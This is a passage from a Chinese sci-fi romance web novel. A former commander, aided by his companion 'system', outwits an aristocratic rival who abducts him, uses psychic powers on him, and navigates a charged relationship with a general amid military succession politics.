邵逾白不说话,只颇有深意地朝上看了看。
余逢春瞬间明白。
“元帅……?”
邵逾白点点头。
当今联盟元帅已年过百岁,按照如今人类的平均寿命来看,他还不至于极度衰老,但常年征战和劳心劳力,到底还是损伤身体心智,六年前余逢春就听过元帅要退下来的流言。
没想到六年后的今天,流言要成真了。
“而且今年议会大选,”邵逾白补充,又一件烦心事。
“那确实有点麻烦。”余逢春没心情喝水了,躺在椅子里很忧愁,“元帅换届、议会大选,你可有的忙了。”
如今的联盟虽然宣称人人平等,但在常年战乱下酝酿出来的两个阶级,斗争非常激烈。
邵逾白是联盟上将,已然有了竞争元帅的资格,但他的出身非常尴尬,履历上也有余逢春的污点,因此要比平常人艰辛很多。
反倒余逢春成了里面最清闲的人。
他既不在军部任职,也没有合适的政治身份,外面风起云涌,无论如何都吹不到他身上。
余逢春瞅着在自己对面正襟危坐,已经穿好军装的邵逾白,心里不期然升起一丝啥也不用干的窃喜。
“好好干,”他鼓励,“你命由你不由天。”
邵逾白:“……”
望着对面吃饱喝足的天蓝色一团,他笑笑,眉眼柔和下去。
“你以前说过,我都记得。”他说。
*
*
*
吃完饭以后,邵逾白留下一个全新光脑,回了军部(这种紧张时期他居然还能抽空回家),余逢春则优哉游哉地换了身新衣服,出门闲逛。
“你有任何想去的地方吗,江先生?”云阙配置的专属司机问道。
余逢春坐在后座,无视光脑自动弹出的中央星最佳游览路线:“我想去联盟军校附近看看。”
这个地方还挺特别的,司机笑呵呵地启动引擎:“家里有人在上学?”
“不是,我以前在那儿毕业的,现在回去看看。”余逢春说。
“哦,这样。”司机很健谈,发觉余逢春不是那种拿鼻子看人的人以后,话多了些,“这几天可热闹了。”
余逢春问:“为什么?”
“军方又开始招人了。”司机说,“现在当兵有政策扶持,待遇很好的,我儿子过几年也要考军校。”
余逢春来了兴趣,“那你想让你儿子进第几军?”
司机笑了:“这是我想要就能成的?得看他自己。”
“聊聊嘛。”
“嗯……”
司机想了一会儿,飞行器绕过拐角,驶入一条宽阔道路,车流人流俱拥挤起来。
他道:“第三军吧,再不然第七军也行。”
余逢春神色微敛。
第三军,又是穆锋的第三军。
从来到中央星起,余逢春已经听到了太多跟穆锋有关的消息。
当今元帅身体疲敝,很快就要面临换届,到时就是一次大洗牌。
穆锋手握第三军,势力深厚,且他是贵族出身,背后支持者很多,是此次换届的热门人选。
现如今,竟然连平头百姓都知道第三军好——
邵逾白能和穆怀结婚当然最好,可要是这桩婚事里出那么一星半点儿的不如意,就是天大的麻烦。
“他为什么非得跟姓穆的人接亲?”余逢春越想越不明白,忍不住和刚上线的0166嘀咕,“换个人不行吗?”
他恶意揣测:“总不能是真觉得自己到了结婚的年纪,开始着急了吧?”
0166下线一天,已修炼得心平气和:[你觉得他该和谁结?]
余逢春:……
“这我哪知道?”他有点焦虑,不自觉地咬住嘴唇,“他是平民出身,身后自然有人想推他一把,如果非要和穆锋扯上关系,那推他的人可就没了。”
而且穆锋品行刁滑,上场杀敌是一把好手,但为人处世颇有些阴狠,不是好人。
邵逾白和他来回计较筹谋,是与虎谋皮,很有可能被反咬一口。
想不明白,真想不明白。余逢春只能勉强让自己相信穆怀是个好孩子,而邵逾白则是脑袋被驴踢了。
“我也是到了夸别人是好孩子的年纪了。”
想到这里,他自己笑笑。
可不是嘛,虽然那日匆匆一面,但穆怀是个二十来岁的年轻人,白皙漂亮,很有活力,余逢春从生死之中走了几遭,身上一片好地都没有,和他站在一起,像具骷髅,不太好看。
0166敏锐地察觉到了余逢春未曾表露、甚至都未必意识到的失落。
[你可以和他结婚。]它假装不经意地提议,[邵逾白伺候你很顺手,你们双赢。]
好一个双赢。
余逢春假装没听到。
司机在联盟军校开放区外停下车,余逢春刚走下飞行器,便看到一辆格外熟悉的飞行器在稍远一些的地方。
[车上的都是第七军的人。]0166说,[别的地方还有。]
“知道了。”
余逢春移开视线,装作无事地走进开放区,随便挑了家咖啡馆进去。
他选的时间恰到好处,此时正是联盟军校一月一次的开放日,咖啡馆分上下两层,余逢春坐在二层,刚点上喝的,便有三四个穿着校服的学生走进咖啡馆,动静很大。
为首的那个学生个子很高,看不清长相,只觉得很壮实,他去前台点单,跟着他的那两个人笑嘻嘻的。
余逢春仔细听了会儿,知道他们在向那个高个子男生道喜。
“……第七军可不好进,林哥能进去太不容易了!”
“可不是吗?从上学到现在,一次假都没请过,理论课门门全A,实战更是别提,上一次模拟作战一炮轰了敌方指挥营地,进第七军也是理所应当!”
那个姓林的男生坐下笑笑,被夸得不太好意思。
“我运气好。”他说。
“第七军的补贴也高,”另一个男生又说,“小妹以后上学方便了,叔叔阿姨的日子也会好过些。”
“是啊,”男生笑呵呵地,脾气很好,“晚上请你们去吃饭,等以后有机会来我家吃。”
两个男生对视一眼,笑得更真诚。
“这可是你说的!”
场面和谐友好,让人想起自己的学生时代。
余逢春把点的果汁放在桌上,任由冰块凝化成水,0166从刚才开始便忙个不停,借助与联盟军校的近距离,试图翻出更多被掩埋删除的陈年旧事。
阿克苏基本上就是邵逾白送到余逢春面前的突破点,明显到不可思议,没道理不用。
底下的三个还在笑嘻嘻地打闹,交谈的声音控制得很好,不会让人觉得吵闹。
0166:[查到一些。]
余逢春收回视线:“怎么样?”
[跟阿克苏关系不大,但你应该会喜欢。]0166说,[我检查了近几年联盟军校统一销毁出的通报和谈话记录,你猜其中占比最大的是哪一类?]
余逢春闻言摸摸下巴,“我猜——”
大门被用力推开,一伙同样穿着军校校服的学生走进来,目标明确地朝着那三个人走去。
余逢春停下讲话,专注地看着。
“林胜文!”为首的那个金发男生大摇大摆,“听说你进第七军了?下水道的老鼠竟然也能爬到台子上?”
他身后跟着的人,相当有默契地将楼下卡座围住,那个叫林胜文的军校生眉毛皱起,环视四周后开口:“我不觉得这事儿跟你有什么关系,莱昂。”
“啊,没什么关系,只是替那些即将要和你在同一队伍的倒霉蛋打不平而已,”莱昂踢了一脚桌子,身后立马有人推来椅子,“你身上的穷臭味隔着十
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里地都闻得到。”
话音落下,众人哄笑,也不知道笑点在哪儿。
林胜文和其他两个男生脸色难看下去,其中一个脾气火爆的人要动手,莱昂挑衅地看着,但被林胜文一把按住。
“你进不了第七军,跟我一点关系都没有。”他冷下脸,一字一句地说,“自己能力不行,就算继续把脏水泼给别人,也没用。”
莱昂脸色当即沉了下去。
他的父亲常年在外驻军,对邵逾白手下的第七军很推崇,多次直言邵逾白才是真正的军人,以至于莱昂进军校以后一直拿第七军当第一目标。
莱昂在学校里成绩不差,唯独这一次输给了林胜文,输给一个从下水道里爬出来的下等人,莱昂真的不甘心。
然而怒火也被林胜文预料到,黑发青年靠在窗边,毫不在意身前众人造成的压迫感。
“打架斗殴,会记处分,你想好了。”他说。
莱昂音调拔高:“你威胁我?”
“没有,我是实话实说。”林胜文仍然很冷静,“你比我清楚现在是什么时候,你有家人在军部,要是闹出什么大事,你比我更难受。”
“……”
余逢春忍不住在心里鼓掌。
“这孩子可以,”他对0166说,“冷静、聪明、一击即中。”
邵逾白很会挑兵。
0166关闭窃听功能:[所以你猜什么?]
话题回复,余逢春指指下面:“这还用说吗?”
单从莱昂刚才骂人的几个词就能看出,上层对下层的鄙夷轻慢,即使联盟军校内部也没少。
[对,67%的销毁档案都跟这个有关。]0166说,[即使放在战争前,这个比例也很值得注意。]
打了这么久的仗,共赴难关这么多年,却越打越分裂。
余逢春叹了口气,瞅着底下纷争散去,林胜文三人依然有说有笑,莱昂气势汹汹地带着自己的小弟朝门口走去。
“你有空帮我查查这个莱昂是谁家的孩子,”余逢春说,“我总觉得他有点眼熟。”
0166应下,余逢春没了喝甜水的心情,起身付钱,同样也要离开。
然后刚走到门口,就被人拦住了。
一群身材统一、服装一致的人将余逢春包围成圈,为首男人面容普通,表情严肃。
“是江先生吗?”
余逢春停下脚步,0166比他还快:[第三军的人,身上携带着轻型武器,你跑不了。]
第三军归穆锋管,穆怀是穆锋的儿子。
一条非常鲜明的关系链。
“我是。”余逢春点点头,注意到来人身上都有一块鼓鼓囊囊。“有什么事吗?”
“我们少爷想见你一面。”为首之人说,随后围住余逢春的人让出一条路:“请。”
一辆款式普通的飞行器正在那儿等着。
余逢春:“……”
他不挪动脚步,只站在原地,四处看着。
来人见他不识好歹,脸色沉下去,加重语气道:“请!”
他们这边闹出的动静不小,加上正处在军校的开放区内,来往人群中有不少人都朝这边打量,但碍于不清楚状况,且穆怀派来的人气势肃穆,一看就是军人出身,所以一时间没人上前。
咖啡馆里,林胜文等人也注意到了这边的骚动,不同于外面的踟蹰,林胜文马上就要起身,好像要出来说点什么。
就在这时,余逢春动起来。
“这种小说情节我还真没经历过。”他笑笑,“提前谢谢你们少爷。”
短暂地朝林胜文的方向看了一眼,余逢春快速越过围住他的人,动作利索地坐上车。
……
更远一些的地方,阿克苏用力拍了身旁人一巴掌。
“怎么办?!!”他嘴里压着声音,但尾音还是破了,“怎么办!!!!”
“穆怀把人带走了!!!!!”
崩溃,好崩溃,如果余逢春自动代入的是小说里的小白花女主的话,那阿克苏代入的就是那个倒了血霉的男配,下一秒就要被发配边境挖土豆。
余逢春被带走事小,他们肯定能把人全须全尾地弄回来,但要是中间哪个环节出点问题,让人家发现这个余逢春就是六年前那个死了的“余逢春”,那才精彩。
邵逾白不会放过他们的。
“这疯子,”同事也很破防,声音发颤的同时启动引擎,紧紧跟上,“他是不是有病?”
“那肯定的。”另一个人说,“正常人谁这样?”
阿克苏不再言语,哆嗦着启动光脑,给邵逾白发消息,生怕慢一步就得赖到他头上。
早说不能脚踏两条船,现在好了吧?未婚夫把男朋友给绑了——
13. 穆怀你爱上了
几人将余逢春带到了一处僻静隐秘的庭院中。
穿过几株翠竹,0166检测声不断响起,几步路的功夫,余逢春便路过了三台探测器和五架轻型机甲,可见若他暗藏祸心,杀他都不用多动一根指头。
余逢春跟在几人后面,前后左右都被看得严严实实,0166在他脑子里哗啦啦地翻着小说,给他指类似的桥段。
[你待会儿可能会被泼水。]0166说,[这是很经典的桥段。]
“……”
[或者对你用刑,拿针扎你。]
余逢春翻了个白眼:“你能不能盼我点好?”
0166不理会他,又是一阵哗啦啦的翻页声。
[哦,他还有可能会给你很多钱,让你离开。]过了一会儿,0166又说,[这比泼水还经典。]
“你从现在开始祈祷他是要给我钱。”余逢春说,“我要是被泼水了,就是你的错。”
[这怎么能是我的错——]
0166想要辩解,但一个数据零件组成的系统不太懂人情往来,还没等它琢磨好怎么推卸责任,一人一统便听到一阵欢腾的稚嫩狗叫,余逢春向前看去,一只又白又胖的小白狗正扭着屁股朝他跑来。
“回来!”
穆怀的声音响起,走在前面的卫兵弯腰将小白狗抱在怀里,一行人穿过最后一道门,小白狗被放在地上,一摇一晃地向前跑去,脑袋撞上一只擦得锃亮的靴子。
“江先生,好久不见。”穆怀笑道,抬腿将小狗踢到一边。
余逢春站在门口,看着他光鲜亮丽地坐在桌前,笑容满面。
白天光线好,那日夜里未看清的细节在这时更明显,穆怀确实长得好看,是一种要花很多钱和精力才能养出来的娇贵。
“我们前天才见过。”他说,“穆先生想见我的话,也用不着费这么大力气吧?”
“话怎么能这么说?”穆怀仍然笑着,挥挥手,等在余逢春身后的大多数人转身离开,只剩下两三个人在原地守着。“江先生住的地方,一般人可进不去。”
“穆先生也是一般人?”
“大概也是分情况的。”穆怀说,“请坐下吧,我真的很想聊聊。”
余逢春一挑眉,想说自己真的很不想聊,但刚回头,就看到身后的那两个人正威胁似的把手伸进衣服里。
“请坐吧。”确定余逢春看到以后,穆怀加重语气,“我们可以相对文明的解决这个问题。”
于是余逢春坐下。
小白狗被踢走以后自己玩了会儿,或许是因为不甘寂寞,又摇着尾巴跑过来,一个劲地扒穆怀的靴子。
这次,穆怀把它抱了起来,从桌上挑了块糕点给它吃。
小狗吃得很开心,尾巴摇得更欢了。
余逢春在边上看着,穆怀开口了:“这只狗是我偶然在路边捡到的。”
“它看起来很健康。”余逢春实际上根本就不关心,但还是称赞道,“也很可爱。”
“是啊,”穆怀赞同着点点头,白皙的手指戳戳小狗脑门,“这种下等又廉价的生物,如果连一副好看的皮囊都没有,那还怎么活呢?”
柔和轻快的音调中却透露着不容忽视的鄙视,穆怀抬起头,笑得很可爱:“你说对吧,江先生?”
余逢春:“……”
0166:[他在打压你,很常见的手段,但往往比想象中管用。]
如果余逢春真的是一个来自坦尾星的普通青年,刚来到繁华的首都星,无所适从、极不适应,那么穆怀这句颇有深意的话一定会给他带来很大的影响,无论好坏。
但可惜的是余逢春真的没有那些多余的情绪。
“如果你不收养它,它也会找到自己的出路。”余逢春淡然地说,“死也是出路的一种。”
穆怀脸上的笑容淡了下去。
“我不希望你把这场谈话当成一个玩笑,因为我很认真,”他有点恼怒地说,“还是说通过开玩笑的方式应对,是你一贯的逃避手段?”
余逢春道:“也有可能是因为我不了解你究竟想谈什么。”
侍从走上前来,接过小狗后离开,穆怀将手中的糕点扔进垃圾桶里。
“你来自坦尾星,今年37岁,学历不明、工作不明,我姑且将其判定为一事无成。”
擦完手之后,穆怀缓缓开口,语气恢复平静,重新站在了高高在上的位置。
“我不知道你是怎么和邵逾白搭上关系的,坦白说我也不是很好奇,但我希望一切到此为止,”穆怀笑眯眯地说,他习惯用微笑来衬托不掩饰的恶意,“如果你有些自知之明的话,就会知道眼前的近况对你来说不算好事。”
“怎么不算?”余逢春反问。
穆怀相当笃定地说:“因为邵逾白绝不可能和你有任何关系。”
“为什么不可能?”余逢春假装不明白,举起手指开始一个一个地数,“我人很好,会做饭,而且我很有耐心……”
这不是在列举为什么自己适合结婚,这是在拱火。
0166:[你想结婚没关系,但如果你一会儿被轰成灰,我救不了你。]
“——你列出的这些东西微不足道,大街上随便一个人都能做到。”
穆怀打断他的话:“邵逾白在军部任职,以后会走的更远,他需要的是助力,而不是一个除了在家做饭之外毫无用处的废物。”
废·余逢春·物:“话一定要说的这么难听吗?”
“不是难听,是事实。”穆怀说,“我才是那个能让他走的更远的人,正因为如此,他当时选了我。”
“你的出现确实让我意外,我从没想过他会从别的星系带个人回来,但也就到此为止了——我们彼此让一步,你能自己离开吗?”
余逢春敏锐地关注到一个点:“你们已经订婚了吗?”
穆怀笑容不变:“这不是你该关心的。”
0166:[这个回答一般就是没有的意思。]
余逢春也笑了。
“我不想走。”他很舒服地倒在椅子上,“我从没来过第一星系,这地方好得出乎我的意料。”
“留不留在这里,不由你做主。”
守在门口的几人忽然向前一步,朝着余逢春围过来。
穆怀淡定地坐在位置上,重新拿来消毒手帕,将每一根指头都擦得干干净净。
“我已经安排好了航班,一切顺利的话,半个小时后你就不在这里了。”
所以他压根没准备让余逢春再回到云阙,穆怀今天就要解决这个问题。
“你可以选择自己走着去,或者……”
威胁的话语藏在意味深长的沉默中。
余逢春左手搭住椅背,从椅子上扭过身子向后看,与那个比他高出大半个头的男人对视片刻后,他回过身。
“是要强行把我带走的意思吗?”他问穆怀。
穆怀笑而不语。
一只手从身后伸来,搭在余逢春的肩膀上。
余逢春没有反抗,像是觉得一切可笑一样低头笑了一声,随后他盯着穆怀的眼睛,向旁边摆摆手。
然后,在穆怀不可置信的目光中,本该将余逢春强行带走送上飞行器的三名卫兵,如同忽然接受到了更高级别的命令,毫不犹豫地转身离开,目不斜视,动作整齐划一且格外迅速,完全不理会穆怀的呼喊。
与此同时,在一旁守候的侍者也后退几步,虽然仍停留在原地,但已背过身去垂下眼眸,将空间完全留给了穆怀和余逢春。
庭院陷入彻底的寂静,连最基本的风声呼吸声都不见了,一切仿佛在此刻停止。
诡异的氛围瞬间奔涌,余逢春坐在对面,观察着穆怀的表情,黑亮的眼中闪过一道隐约的白光。
“……你做了什么?”
这么长时间里,穆怀头一次显露出慌张神色,他坐直身体,没有呼救,没有逃跑,目标明确地要去触碰桌下的按钮。
然而,就在他伸手的那一秒钟,一种极为沉重的感觉忽然贯穿了穆怀的身体,僵直的手腕无力垂下,磕在桌子边缘,盘蝶倾翻。
……强大凶悍的精神力似铺天巨浪一般当空扑下,将他完全压制,穆怀瞪大眼睛,向上看去,阴影洒落,瞬间力气全无,只能软软地跌坐在椅子上,连呼吸声都轻了许多。
微凉的手抚摸着他的额头,擦去汗水。
余逢春起身靠近,黑亮的眼眸深处,倒映着穆怀此时的惊慌。
他能听到自己狂乱的心跳和渐渐失去节奏的呼吸,惊恐的喊叫声堵在喉咙里,漏出来只有一声比一声微弱的呻吟。
“嘘……没事的……”
小心体贴的安慰回荡在耳边,穆怀朝旁边看去,余逢春半靠在他的椅背上,姿态悠闲,一张不同的脸正逐渐成型。
“一般人
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不会这个,”余逢春说,像玩闹一样将穆怀的头发打成卷又松开,格外亲密,“你很安全,我不会对你做什么的。”
“……”
“但是你要记住,不要总是像个坏孩子。”
余逢春靠在他耳边,“你父亲不是个好东西,但你长得比他讨喜一些,所以这次只是惩罚,不会杀你。”
“……”
闻言,那双藏着水光的黑润眼眸朝他的方向看来,穆怀的脸被吓得惨白,可怜兮兮的。
余逢春笑了一下,双指合拢,点在他的眉心。
“接下来,我要问你几个问题,你要如实回答,回答完之后我会离开,而你一个字都不会说出去。”他说道,汹涌的力量将穆怀淹没。
……
……
……
庭院外面停着一辆飞行器,线条流畅、引擎先进,漆黑的表面涂层可以隔绝如今市面上能搜集到的绝大多数探测机器,是军部专门调拨出来配给几军统帅的。
守在庭院门口的卫兵在看到飞行器驶来的一瞬间,就直觉不好。
因为这时候会来这里的只有一个人——
邵逾白。
但奇怪的是,飞行器并没有强行闯入庭院,坐在上面的人也没有下车,这辆漆黑的沉默机器就只是停在稍远一些的地方,安静等待。
卫兵对视一眼,不懂这是怎么回事?
本该在半小时前就被人强行扭送走的江秋始终没有出现,明显是来找人的邵逾白也不曾露面,好像双方无形间达成了某个协议,彼此守在两端,相安无事。
突然,在卫兵的注视下,飞行器如同有感应般朝门口驶来,稳稳停在侧边。
来时什么样,走时还是什么样的余逢春双手插兜,慢悠悠地出现在入口,穆怀跟在他身后,小脸惨白,眼眶微红,跟被欺负了似的。
看见飞行器,余逢春双目微睁,走到车前,毫不避讳地敲击车窗。
咚咚咚!
车门打开。
车厢里,邵逾白还穿着早晨走时的军装,衣衫挺括,没有一丝褶皱,仿佛刚从办公室离开,左手边的光脑上还悬浮着一份没看完的文件。
余逢春冲他笑:“来接我?”
邵逾白点头,目光将他从头到脚摸索过,寻找受伤的痕迹。
旁人可能不明白,但余逢春清楚得很,张开手展示:“我没事。”
接着他往后一步,揽住穆怀的肩膀,把那张苍白小脸往自己肩膀上按:“我们聊的可好了,是吧?”
他问穆怀。
穆怀在他肩膀上点点头,脸皱得像包子,眼尾还是红的。
“……”
邵逾白无言凝视着这场骗局的种种纰漏,在余逢春含笑威胁的目光下,选择不拆穿。
“走吧。”他向余逢春伸出手,“我带你回去。”
……
余逢春上车离开,穆怀一个人站在原地,眼角的泪花被风吹干,身后传来慌乱急切的脚步声。
“少爷!”
被余逢春驱逐的卫兵重新回来,脸色茫然,看到穆怀的身影后如释重负。
“您怎么在这?我们——”
话音未落,穆怀骤然转身,一个凌厉的巴掌扇在卫兵脸上,掀起火辣辣的刺痛。
来不及困惑,卫兵跪下去。
“我怎么在这儿?!”穆怀厉声问,“你说呢!”
“我……”
卫兵困惑地抬起头,眼里的茫然不是假的。他试着回忆,但思绪好像滚入一团杂乱的线条中,每当他试图深究,便会迷失。
这不是他能突破的屏障。
只有绝对强悍的精神力配合绝对精密的操纵,才有可能达到这样的效果。
审视着他的神情,穆怀同样想起了那几乎将他淹没的感觉,仿若浓蜜灌顶,带来窒息的快意。
“……算了。”他忽然轻巧地说。
卫兵回过神,顶着一张红肿的脸抬起头,看到穆怀已经消气,正望向余逢春消失的方向,眼神若有所思。
微凉的触感仿佛还停留在额头上,温柔擦去眼角的泪珠,在他说出该说的话以后,耳边的声音给出赞叹和安慰。
他比邵逾白更好。
这样的念头出现在脑海里。
“……”
穆怀不自觉地伸出手指,摩挲湿润的眼尾。
潮红蔓延到脸颊。
14. 暗恋
余逢春要求0166给他放羊和狼的故事,并声称这是他的权利。
[这才不是!]0166刚弄垮了几台机甲和监控器,非常兴奋,全身的劲没处使,[我给你放动作电影吧!]
面对提议,余逢春断然拒绝,表示他不想看那些浑身出汗的电影。
0166说他没品,余逢春说当然了,物以类聚,你以为你多高雅?
一人一统开始半玩闹性质地互戳痛点,然而再多的讽刺与玩笑,也很难真正阻挡住邵逾白的目光。
余逢春只多坚持了五分钟,就放弃了。
“我真没事。”他说,“当然了,他是想把我弄到别的地方去挖矿来着。”
邵逾白闻言关闭文件,双手交握在小腹,面无表情地注视着对面把脚搭在桌子上的余逢春。
余逢春丝毫没有体会到所谓的尴尬和羞愧,岿然不动。
良久后,邵逾白开口了:“你其实不用去的。”
只要余逢春愿意,不管是自己来还是命令邵逾白的手下,他有太多方式可以脱困。
“我想去。”余逢春说,“今天见不到我,明天还是要来,还不如抓紧解决。”
说完,他很得意地晃了晃鞋子,空出手拍拍急过来的机器人脑袋。
像只耀武扬威的狐狸。
邵逾白道:“穆怀脾气顽劣,很虚伪,他是穆锋最小的孩子,穆锋很疼他。”
确实很疼,什么事都不避着穆怀,让余逢春收获良多。
余逢春摊开手:“所以?”眼神很挑衅,好像在问能拿他怎样?
他的退缩畏惧柔弱只装了短短几天,且从一开始就露着尾巴,比股票还不保值,不过邵逾白早有预料,因此并不惊讶。
“没事。”邵逾白说,“我会帮你看着的。”
余逢春:“虽然这是你应该做的,但还是谢谢。”
“不客气。”
两人完全没觉得这段对话有什么问题,余逢春心安理得,邵逾白也安之若素。时间流逝、地位倒转,并没有对他们的关系造成任何实质性的影响。
又或者是某人主观上不想改变。
何所行说邵逾白是狗,不是没道理。
飞行器停在云阙门口,余逢春下车以后发现天色渐晚,一天竟就这样过去了。
“不用去加班?”
看着同样下车的邵逾白,余逢春戏谑着问。
邵逾白很坦然:“明天再做。”
手中握有实权的人就是不一样。
余逢春笑着看他,含笑的眼神似水一般从身上流淌而过,邵逾白不自觉地抿住嘴唇。
既想要闪躲,又想更近,让人看清。
两人并肩回到房子,中间有几次貌似无意的碰撞摩挲,余逢春一进门就踢掉鞋子,脱了外套以后一边伸懒腰一边往窗户边走,清瘦有力的腰线在衬衫下若隐若现。
门很快合拢,副官看不清楚,但就在视野被彻底阻隔的一瞬间,阿克苏看到邵逾白捡起了地上的外套,整齐叠好后朝余逢春走去。
两人身影逐渐重叠。
有个说法,当时编号为Y的指挥舰上,长期工作居住人员并不多,人群来来回回,始终留在上面的就是指挥官和他的副官。
指挥舰像一座孤岛,而他们就是孤岛上唯二的幸存者。从见面到最后的分别,他们始终是和彼此在一起。
再不契合的灵魂,也会在这日夜的纠缠中融合到一起。
吃完饭以后,余逢春靠在门上问:“你考虑过竞争一下吗?”
邵逾白回过身:“竞争什么?”
“别装你不知道。”
余逢春走进花房,很小心地避开任何有可能沾到身上的枝叶花瓣。
对,邵逾白给这见鬼的花浇水。他居然养花,余逢春很难接受。
“你把这里布置的像春天一样,以前怎么没发现你还有这个爱好?”靠在一盆绣球旁边,余逢春随意评论。
“最近才有的。”邵逾白解释,而后又说,“想要和得到是两回事。”
余逢春拔高声音质问:“所以你连争取都不争取一下?”
邵逾白不说话,只看了他一眼,好像在说我能怎么样。
余逢春开始生气。
“我当时费那么大的劲把你送出去,为的不就是让你当元帅吗,你现在连争取都不肯争取一下,那过去我们受的苦算什么?算我们能吃?……”
他碎碎念着,叽叽咕咕,像没牙的老太太,而邵逾白就是他那不争气的孙子。
浇花的手稳稳停住,邵逾白拽来一旁的控制器,设定程序后擦干净手,把余逢春牵出花房。
姹紫嫣红落在身后,余逢春还在说。
“……当然了,我不是一定要求你做出什么成绩,你现在已经挺不错的了,但是为什么不继续努力呢?你不拼一把怎么知道自己有多少潜力?”
“你很想让我当元帅吗?”邵逾白打断他的嘟嘟囔囔。
余逢春愣了一下,眨眨眼:“当然啦。”
邵逾白:“我以为你更想自己当。”
“不了吧。”余逢春摇摇头,手指无意识的拽住邵逾白的袖子,把那块平整的布料拧出皱纹。“指挥官已经很无聊了,元帅更无聊。”
他一定是在无意中暴露了什么东西,因为邵逾白看着他的眼神忽然变了一些,让余逢春不敢抬头,心也跟着发颤。
很熟悉的眼神。
发丝因动作垂在眼前,划来微妙的痒意,余逢春眨眨眼睛,一只手忽然伸来,极温柔轻巧地挑起头发,捋过耳边。
指腹粗糙,若有若无地擦过侧脸,比发丝更痒。
躁动的气息无声无息地流淌开,余逢春再一次慌不择路:“你俩什么时候订婚?”
邵逾白指尖顿住,仍然停在他耳边,问:“什么?”
气氛有所恢复,余逢春吐出一口气,强行稳定心神。
“你,穆怀。”他说。“什么时候订婚?”
“我为什么要和他订婚?”邵逾白问,声色漫不经心,注意力还留在那细且软的发丝上。
气氛又开始不对劲。
余逢春想后退两步,但不知不觉间已抵在墙壁上,只能硬着头皮说:“不是都商量好了吗?违约是不道德的……”
声音越来越低,邵逾白恍然大悟般“哦”了一声:“我不想和他订婚了。”
“你之前还说想结婚的。”
“嗯哼。”
心不在焉的应声响起,余逢春抬起头,刚好撞进邵逾白的眼里。
他意识到自己问了个不该问的问题。
然而现在已经拦不住了——
“我确实想结婚。”邵逾白说,“但不和他。”
发丝还软软缠在邵逾白指间,轻微的拉扯感让余逢春头晕目眩。
明明是切断都不会有任何感觉的表皮附属物,此时却好像成为了一对锁环,镶嵌在他灵魂的后门上,由邵逾白不断叩击。
别说。
别说。
仿佛察觉到了余逢春难得一见的祈求眼神,邵逾白挪开半步,貌似十分好心地问道:“你想让我告诉你吗?”
余逢春快速摇头,发丝滑落,邵逾白收回手,背在身后,手指攥紧。
他再次后退一步,让出足够的空间,余逢春像只终于找到笼子缺口的狐狸,尾巴一甩,一溜烟就跑了出去。
只留邵逾白一个人站在原地,向外默默地看着。
急促的脚步声和狂跳的心敲在一起,余逢春跑了好远,一边诧异于自己的慌乱,一边又安慰自己这时候慌也是很正常的。
他回过头,看到邵逾白站在花房外,左边花团锦簇,右边月光清冷,他站在中间,既不温柔也不热烈,只是很落寞。
余逢春的心,倏地软了下去。
来不及多想,他又跑回去,凭借一腔冲劲抓着邵逾白的手,用力把他拽到面向自己。
邵逾白有些惊讶,他没想到余逢春会再回来。
两个人的手用力交握在一起,余逢春抓得更紧些,在他留下红印。
“不是不让你说,”余逢春有些紧张,声音里藏着不太明显的颤,眼神乱飞,“我们之后谈这个,好不好?”
邵逾白被他拽着弯腰,看到了余逢春眼里的自己。
“好。”他点点头,声音低沉柔和,“之后谈。”
余逢春松了口气,如同巨石落下,尘埃落定,冷静下来之后才意识到邵逾白为迁就他,姿势有多别扭。
连忙松开手,两人都不太自在地彼此对视。
余逢春干咳一声,无视脸上滚烫的热度,假装什么都没发生。
“那,我去睡觉了,”他慢吞吞地开口,重新朝楼上走去,“晚安。”
邵逾白道:“晚安。”
他仍站在原地,注视着余逢春的背影越走越远
夜风轻柔,花房里的香气慢慢荡到外面,馥
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郁清甜,仿若春日再临。
*
*
*
当天夜里,余逢春洗完澡躺进被窝,在入睡的前一秒钟,他挣扎着想起白天发生的一件事,连忙叫醒待机的0166。
“莱昂查清楚了吗?”
0166从脑子里发出咯吱一声:[清楚了。]
“发来看看。”
一阵细微的嗡鸣声响起,接着,系统整理出来的报告在眼前展开。
余逢春靠着两个枕头,打起精神翻看起来。
这一翻,还真让他看出了不对。
莱昂没什么问题,贵族出身,卡戎家族的一员,联盟军校的优秀毕业生,虽然比不上林胜文出路好,但也没有太逊色。
唯一让余逢春发现不对劲的,是他的父亲。
多莱文·卡戎,余逢春曾经的旧部,五年前被调离第七军,现今在中央军任职,驻扎三角要塞。
余逢春关闭报告,躺在床上若有所思。
三角要塞于旧历108年建成,位于中央星与其他星系的关键联络口,是中央星的三大要塞之一,且是最重要的那个。
联合统一作战期间,三角要塞负责了相当大火力的战备支援和后勤补给跳点,是很要紧的军事重地,也是联盟中央巡视检查的关键区域。
毫不夸张的说,如果三角要塞失守,那中央星沦陷也不过是须臾之间的事。
卡戎居然驻扎在了这里。
思及此处,余逢春某根与政治军事长在一起的神经,敏感地动了一下。
“是谁把卡戎拨到中央军的?”他问0166。
[还能是谁?]0166反问。
余逢春翻了个身,了然:“邵逾白。”
0166发出一阵咔嚓声,当做给他鼓掌。
余逢春没有在它的谄媚下迷失,只道:“我想让你帮我查查邵逾白接管第七军以后,我手下所有旧部的去向,可以吗?”
0166:[可以,但信息量有点大,需要时间。]
“多久?”
0166算了一下:[15个小时。]
不算久,一切还来得及。
余逢春果断拉上被子,眼睛一闭,就睡了过去。
然而他不知道的是,他刚睡着,一条简讯就发送至邵逾白的光脑。
——在外驻军的穆锋回来了。
……
夜色寂静、万籁俱寂。
邵逾白咽下一口酒,默默等着楼上余逢春彻底睡稳,才挥散今夜的最后一点余韵,迈步走下楼梯。
须臾间,他的神色已重归冷淡,月色下似冷铁一般,衣着齐整,显然从未准备入睡。
副官早就在云阙外等候,邵逾白出来时,在云阙附近潜藏的卫兵皆候在门口。
“守好他。”
命令简短但绝对明确,领头人无声敬礼后迅速带人离开,邵逾白迈进飞行器,车门合拢。
飞行器启动,朝着远方疾驰而去。
车厢里空气冰冷,格外安静,邵逾白低头翻阅着刚传过来的文件,片刻后问:“穆锋现在在哪儿?”
阿克苏在前排道:“穆将军八分钟前到达办公室。”
“去找他。”邵逾白头也不抬地道。
阿克苏有些迟疑:“这个时间是否……”
“他不会睡的。”邵逾白说,胸有成竹。
第三军的外驻军时间还没到,作为统领的穆锋秘密回到中央星,为了什么,大家心里都有数,实在没必要彼此遮掩,反而让自己难看。
这条消息不光邵逾白收到,其他几军的将领恐怕也都收到了。
所以今晚穆锋无论在哪里都会被遇见,邵逾白甚至都不一定是第一个到的。
如今中央星形势错综复杂,暗潮涌动,仿佛一片覆盖着薄膜的水池,每一次的潮涌都有可能将一切捅破。
只看元帅能撑到什么时候。
……
